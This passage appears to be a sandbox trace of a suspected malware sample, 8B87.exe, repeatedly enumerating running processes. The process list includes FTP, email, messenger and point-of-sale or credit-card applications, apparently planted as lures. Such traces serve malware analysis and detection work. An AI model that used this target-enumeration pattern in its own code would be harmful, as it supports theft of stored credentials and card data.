th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0216.539] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0216.541] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0216.543] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0216.545] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0216.547] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0216.549] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0216.551] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0216.553] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0216.554] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0216.556] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0216.558] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0216.560] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0216.562] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0216.564] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0216.566] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0216.568] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0216.570] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0216.572] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0216.574] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0216.576] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0216.578] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0216.580] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0216.582] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0216.584] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0216.586] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0216.699] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0216.702] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0216.705] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0216.708] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0216.711] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0216.713] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0216.716] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0216.719] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0216.722] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0216.725] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0216.728] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0216.731] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0216.735] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0216.737] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0216.742] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0216.745] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0216.748] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0216.752] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0216.755] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0216.758] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0216.761] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0216.764] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0216.770] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0216.773] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0216.777] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0216.780] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0216.782] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0216.785] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0216.788] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0216.791] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0216.794] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0216.797] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0216.800] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0216.802] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0216.804] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0216.805] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0216.807] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0216.914] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0216.916] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0216.918] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.920] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0216.923] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0216.925] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0216.926] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0216.928] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0216.933] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0216.935] CloseHandle (hObject=0x11c8) returned 1 [0216.935] Sleep (dwMilliseconds=0x64) [0216.943] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0216.955] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.957] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0216.959] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0216.961] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.962] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0216.964] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.966] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0216.968] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0216.970] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0216.971] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.973] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, 